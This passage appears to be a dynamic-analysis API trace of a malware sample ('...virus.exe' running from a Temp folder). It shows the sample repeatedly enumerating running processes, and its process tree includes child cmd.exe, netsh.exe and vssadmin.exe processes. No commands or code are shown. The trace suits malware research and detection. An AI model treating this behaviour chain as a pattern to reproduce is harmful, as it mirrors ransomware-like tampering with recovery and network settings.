szExeFile="csrss.exe")) returned 1 [0206.847] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0206.848] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0206.848] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0206.849] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0206.849] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0206.850] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0206.851] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.851] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.852] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.852] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.853] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.853] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0206.853] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.854] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.854] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0206.855] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0206.855] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0206.856] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0206.856] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.857] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0206.857] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0206.857] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0206.858] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0206.858] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0206.859] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0206.859] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0206.860] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0206.860] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0206.861] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0206.861] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0206.862] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.862] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0206.863] CloseHandle (hObject=0x1a0) returned 1 [0206.863] Sleep (dwMilliseconds=0x1f4) [0207.504] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0207.511] Process32FirstW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0207.516] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0207.516] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0207.516] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0207.517] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0207.517] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0207.518] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0207.518] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0207.518] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0207.519] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0207.519] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.520] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.521] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.521] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.522] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.522] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0207.523] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.523] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.523] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0207.524] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0207.524] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0207.525] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0207.525] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.526] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0207.526] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0207.527] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0207.527] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0207.527] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0207.528] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0207.528] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0207.529] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0207.529] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0207.530] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0207.530] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0207.531] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.531] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0207.531] CloseHandle (hObject=0x1b0) returned 1 [0207.532] Sleep (dwMilliseconds=0x1f4) [0208.082] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0208.084] Process32FirstW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0208.084] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0208.085] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0208.085] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0208.086] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0208.086] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0208.086] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0208.087] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0208.087] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0208.087] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0208.088] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.088] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.088] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.089] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, 